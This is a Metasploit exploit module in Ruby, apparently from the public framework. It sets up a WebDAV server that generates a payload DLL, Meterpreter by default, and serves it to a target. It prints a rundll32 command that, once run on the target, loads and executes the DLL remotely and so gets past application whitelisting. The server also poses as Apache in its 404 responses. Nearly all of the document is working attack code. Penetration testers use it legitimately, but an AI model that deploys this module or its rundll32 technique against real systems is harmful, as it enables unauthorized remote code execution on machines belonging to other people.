##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Serve DLL via webdav server',
'Description' => %q(
This module simplifies the rundll32.exe Application Whitelisting Bypass technique.
The module creates a webdav server that hosts a dll file. When the user types the provided rundll32
command on a system, rundll32 will load the dll remotly and execute the provided export function.
The export function needs to be valid, but the default meterpreter function can be anything.
The process does write the dll to C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
but does not load the dll from that location. This file should be removed after execution.
The extension can be anything you'd like, but you don't have to use one. Two files will be
written to disk. One named the requested name and one with a dll extension attached.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Ryan Hanson <ryan.hanson[at]optiv.com>', # research discovery (@ryhanson)
'James Cook <james.cook[at]optiv.com>' # MSF Module (@_jbcook)
],
'Targets' => [['Automatic', {}]],
'Platform' => %w[win],
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 1999'))
register_options(
[
OptString.new('URIPATH', [true, 'The URI to use (do not change).', '/'])
], self.class
)
end
def primer
if datastore['URIPATH'] != '/'
fail_with(Failure::BadConfig, 'Using WebDAV requires URIPATH=/')
end
print_status('Run the following command on the target machine:')
webdav = ''
if datastore['SSL']
if datastore['SRVPORT'] != 443
fail_with(Failure::BadConfig, 'SRVPORT must be 443')
end
webdav = "#{datastore['SRVHOST']}@ssl"
else
webdav = "#{datastore['SRVHOST']}@#{datastore['SRVPORT']}"
end
print_line("rundll32.exe \\\\#{webdav}\\ANYTHING,Init")
end
def on_request_uri(cli, _request)
if _request.uri.downcase =~ /\.config/
process_ignore(cli, _request)
return
elsif _request.uri.downcase =~ /\.manifest/
process_ignore(cli, _request)
return
end
case _request.method
when 'OPTIONS'
process_options(cli, _request)
when 'PROPFIND'
process_propfind(cli, _request)
when 'GET'
process_get(cli, _request)
else
process_ignore(cli, _request)
end
end
# Cli comes from Rex, not from the HttpServer mixin, so we need to make our own send_not_found
def send_not_found(cli)
resp_404 = create_response(404, 'Not Found')
resp_404.body = %Q{\
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
</body></html>
}
cli.send_response(resp_404)
end
def process_ignore(cli, _request)
vprint_status("#{_request.method} => 404 (#{_request.uri})")
send_not_found(cli)
end
def process_options(cli, request)
vprint_status("OPTIONS #{request.uri}")
headers = {
'Allow' => 'GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS',
'DAV' => '1',
'Connection' => 'keep-alive'
}
resp = create_response(207, 'Multi-Status')
headers.each_pair { |k, v| resp[k] = v }
resp.body = ''
cli.send_response(resp)
end
def process_propfind(cli, request)
vprint_status("PROPFIND #{request.uri}")
changed = Time.now.strftime('%a, %d %b %Y %H:%M:%S GMT')
created = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ')
filename = request.uri.delete('/')
p = regenerate_payload(cli)
data = generate_payload_dll(code: p.encoded)
prop_resp = prop_response(filename, created, data.length, changed)
vprint_status("Resp: #{prop_resp}")
resp = create_response(207, 'Multi-Status')
headers = {
'Transfer-Encoding' => 'chuncked',
'Connection' => 'keep-alive'
}
headers.each_pair { |k, v| resp[k] = v }
resp.body = prop_resp
cli.send_response(resp)
end
def process_get(cli, request)
print_status("GET #{request.uri}")
resp = create_response(200, 'OK')
headers = {
'Content-Type' => 'aplication/octet-stream',
'Accept-Range' => 'bytes'
}
headers.each_pair { |k, v| resp[k] = v }
p = regenerate_payload(cli)
data = generate_payload_dll(code: p.encoded)
resp.body = data
cli.send_response(resp)
end
def prop_response(filename, created, length, changed)
%(<?xml version="1.0" encoding="utf-8" ?>
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/#{filename}</D:href>
<D:propstat>
<D:prop>
<D:creationdate>#{created}</D:creationdate>
<D:displayname>#{filename}</D:displayname>
<D:getcontentlanguage/>
<D:getcontentlength>#{length}</D:getcontentlength>
<D:getcontenttype/>
<D:getetag/>
<D:getlastmodified>#{changed}</D:getlastmodified>
<D:lockdiscovery/>
<D:resourcetype/>
<D:source/>
<D:supportedlock/>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>)
end
end
